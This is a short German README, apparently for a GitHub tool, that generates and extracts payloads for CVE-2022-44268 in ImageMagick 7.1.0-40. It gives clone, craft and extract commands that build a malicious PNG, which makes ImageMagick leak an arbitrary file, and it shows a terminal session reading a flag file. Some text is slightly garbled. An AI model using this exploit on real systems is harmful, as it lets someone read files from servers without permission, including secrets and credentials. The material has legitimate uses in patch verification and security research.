
Payload-Generator und Extraktor für CVE-2022-44268, geschrieben in Python.
Dank an die Forscher, die dies entdeckt haben:
Erstelle eine bösartige PNG-Datei, um ImageMagick 7.1.0-40 auszunutzen:
Haftungsausschluss: Der Autor dieses Projekts ist nicht für mögliche Schäden verantwortlich, die durch die Materialien dieses Projekts verursacht werden.
pip install Pillow)Erstellen einer PNG-Datei mit craft.py:
git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file
Datenextraktion mit extract.py:
python3 extract.py exfil.png
anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC
anon@computer:~/code/cve-2022-44268$